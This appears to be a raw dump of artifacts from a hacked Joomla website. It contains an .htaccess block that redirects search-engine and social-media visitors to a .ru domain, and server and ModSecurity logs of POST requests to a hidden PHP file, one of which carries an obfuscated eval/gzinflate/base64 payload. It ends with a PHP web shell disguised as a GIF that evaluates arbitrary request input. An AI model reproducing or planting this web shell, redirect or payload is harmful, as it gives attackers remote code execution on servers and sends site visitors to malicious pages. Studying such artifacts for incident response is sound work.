<IfModule mod_rewrite.c>
   RewriteEngine On
 
   RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)
 
   RewriteRule ^(.*)$ http://2013supa.ru/joomlastar?4 [R=301,L]
 
   RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
 
   RewriteRule ^(.*)$ http://2013supa.ru/joomlastar?4 [R=301,L]
 
   </IfModule>

212.71.10.197 - - [31/Jul/2012:11:18:51 +0200] "POST /images/stories/.cache_q833wc.php HTTP/1.1" 200 516 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
212.71.10.197 - - [31/Jul/2012:11:18:51 +0200] "POST /images/stories/.cache_q833wc.php HTTP/1.1" 500 354 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"

--c4626214-A--
[31/Jul/2012:11:18:51 +0200] UBei@7AfaJ0AACfEMEwAAAAM 212.71.10.197 52883 176.31.104.157 80
--c4626214-B--
POST /images/stories/.cache_q833wc.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0
Host: www.TOTO.fr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
DNT: 1
Connection: keep-alive
Content-Length: 3541
Content-Type: multipart/form-data; boundary=----------------------------8f81df0a2316
 
--c4626214-I--
ajax=true&a=Php&c=%2fhome%2fwww%2fTOTO%2fjoomla%2f&p1=preg%5freplace%28%22%2f%2e*%2fe%22%2c%22%5cx65%5cx76%5cx61%5cx6C%5cx28%5cx67%5cx7A%5cx69%5cx6E%5cx66%5cx6C%5cx61%5cx74%5cx65%5cx28%5cx62%5cx61%5cx73%5cx65%5cx36%5cx34%5cx5F%5cx64%5cx65%5cx63%5cx6F%5cx64%5cx65%5cx28%271Vhtb9tGEv5sA%2f4PjE6NyFSW3GuSA%2byqDXDnoge06EHotygRVuRS3HC5y%2bwuTcte%2f%2fd7hi%2byFDuygaIfKiAmuTszO%2fPMM8NhTo5FGoSBsJa7cJjFJgqigF8Ld3FynFYqdkKroDS8ZIYvM8fimFsbBsNYK8eVC6KT49uT42HJnONGBbOAGcM24cnx0WgaLtzt9%2bO7b6Pw%2fceF%2b7hQH3C7cN9G09G4FQgX5lW0UFEjtl2d89oIx%2f%2btVRIsvlnc%2fvLHH%2f9bzi9%2fvpxfzhd3UTh5FU1FJ9zJzivJaT3MnCsX54vpYvqk3J7g4v18Mfv%2b7LvF%2bNfFh63WNoKtbxC9NEab%2f%2bi4KgDAziERIBsCKcliTlu7YAwWajDeuY5Gh%2f5GFz2%2bM0C%2fXnZGwx7m8e4x4142ujDcVUhCv3BxB4eQ0tno6E%2f84M%2fB3w%2f%2fTX%2fTCXANCp3A1QbnSfzjYa2nrHb5ulRroXjwuzos%2fUxrDaO%2b2ePTXfBx8ipca72W3DOb%2bw3LtPYbXblqxX0tclHyRDDPr2NY8Ew6diWsY76wyivubMxKLGvp19ppL1SqLee5L1hRMIhLl%2fGar7zcxNp6y5mJM19wVJJhteTGr4Ra%2b0SvSwEPUiR1pXXuXS0o1X4l9dpLccV9sbEldvGgcnikfCpFnJtmUyiiBXc%2bhZHujA2X0uuSKzjr%2fFqs2Uoy6zyIIUzjEitSsRI%2bKfSN34iy3PTu1Uxm0NYeUr2bn9gmgX9CJXUGe45rhMcr00ZbC8tV5TxbATjvskol3FinFffi%2bnMFR6GBYvASwSFOAgDKPGfdmbbUzlspoOadLi2%2f4qpDzwJ3izBX3GgfU9B849dMsuuNXxkm1KZzu9TYcoAFNq642SCrSbe1QjgNPobzFifDVzAPEHkhYNdWcbaCCyzWWvl4g8NOuzLyCb9iEEmBHolA%2fwYw8GtEy%2bJMk5vc5pKZxopilnuLK46kZzxkaJ4UeLNP%2foir9kABZ5q7gkEDTCfETzuJhkqU8mgxoTZzmOLPLAFqgMFHMjcMqFeeT6eFFqe2KpmdmGoKjsR5UYHVzv70Jng%2fp6Y4%2fvXDYePPPPyr9UdsxL8WLjCfOKilRmFonutSG8ekd6daScKoTyJw0gbo82ummHcCTkvhc%2bYY2dOGqTX3V1pIkCxFchwzrmRoKMznpbpiKmFs7YVEvmpYSFD3jssUp%2flMAPm2zgGMZWuw0ZZo5igfogvk0BNWsuI1KtFuCnRmEWuvZEc4wNfegBdFwQ1L0y%2bJkCseZ6jHFayylbhJwMnYabPpeF%2flfpUx%2bJn4BOo6EbKl%2f2uQTqATIG7JsUtFCX80ioIcXouitKgQqcHw1ot705l2qUFL%2baRROqVItM%2fRfxJdtE1Lf6JLq4QC9ha25CaDeoL4ZVPbHATlBDhAElZXZgNxX%2bVUllVN6QGtE2t4pZDzBJ2DKf%2b59MbJzvIpynEtqsKzUqPN%2fAtlLGIGh%2bImFiDkc3Ie7UIUVM38Gu9Ba1HGlpqXROqgo2vL%2byfSE9s90TfBbuGUaskUjKYZmC4opy0fLDoO6l2rFPUMI4qK2a9RJbbpRQiKyEQ76BloefkVswJkAjvQNdD2d8xAF%2fxCs2LIOCLyaBe1R8mXFTLHNgUaSpvCG1wqm3me6brxna4i%2foyXCHVd2KysM6Azazn%2f928BP0z7OeFPTgaHfyfHo4tm6uF%2f7dSzNwQGb87OngHlYYtPnXj418WNHjUDcWhi5MyFg4WhgfPNWTObosrxtjRau9lomumCT%2bu6njZ6aBBLW6XiGjuftC4k69YblWWqJYphO9AGO%2bosjfOtyvjLjb2VUUBuiDQUdokDwx2HovY74gibwySb0djyQIL2j%2boME04YDtOZQetrZbIoejELUmp2rRB90jw8YzKYDibDtDPUCLWYw9qL2WAyiJrHly%2b7550FQFpqi%2fXx4GaJl35eYSgcRLPZrD21k8OZVGEYtPgjB7eXLdKtUufM0ZC6aYfz%2ftA%2fwCfK7T%2fHd9PBGAbGT9qlR8L5qImRcKChMNw9YDJq5pdJmZWjyB%2bSyFwhnxYZRVHH3n3CvP8AyuzqwK1W8K6l%2bx39bf7EEoNkn07yHqt3zffU%2fXdUQ2JOhbfEVIzlEXEUjZ1jDAu%2f4CqzwbC97ag1pAiWCq15NuwjmE76T1qy1In0n7ad%2ff3VpeJ1v4O9dxjddBLe2x4HZ2%2ffvm0i2AV%2fux%2b9fNnM6OJmb%2fXHM0KwI2%2b4x6N7oRbkId713PGgY3yTaY6bLzadqdq9zuYQo0Qi%2bSyl2tp1eGAGreWWiXvRzlKqsl53%2fJjnHdXSJoG9ZNQn%2bjHs6JN08uC%2fFPYkowl1sgm18eauN0c124UYbRn%2b4l1F78j8IVQ4%2f54uk1kwaLp20Bo4p9rpFSb0YX5%2fyhatdw%2fhqju4OryO0ualusXoQcR9LT5EiAog2KbucV8b44%2b6uqf8qC7l7nHVO1Ls2fZ1ZtRfZ0afy%2fs0UVa7XD0flcdAacMKbr8e2EFQTo7bjvJYab5%2b%2fTq6CJrOgtlbB6N%2fXM7nv8%2fPz0fBJLg%2f6qLbHF38Hw%3d%3d%27%5cx29%5cx29%5cx29%5cx3B%22%2c%22%2e%22%29%3b&p2=&p3=&charset=Windows%2d1251&pass=%29GjKGqGZ
--c4626214-F--
HTTP/1.0 500 Internal Server Error
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Set-Cookie: 31064f1e39e2c782b9bb4545ee53c347=dcc2630fea8d91fbc38ee0acc48001a6
Set-Cookie: 31064f1e39e2c782b9bb4545ee53c347ajax=1
Vary: Accept-Encoding
Content-Length: 9
Connection: close
Content-Type: text/html
 
--c4626214-E--
#ERROR::#
--c4626214-H--
Apache-Handler: application/x-httpd-php
Stopwatch: 1343726331216044 79468 (- - -)
Stopwatch2: 1343726331216044 79468; combined=35, p1=16, p2=14, p3=1, p4=0, p5=4, sr=0, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.6.3 (http://www.modsecurity.org/).
Server: Apache
 
--c4626214-J--
Total,0
 
--c4626214-Z--

GIF89a1
<?php
if (isset($_REQUEST['p1'])) {
        eval(stripslashes($_REQUEST['p1']));
} else {
        echo "djeu84m";
}
?>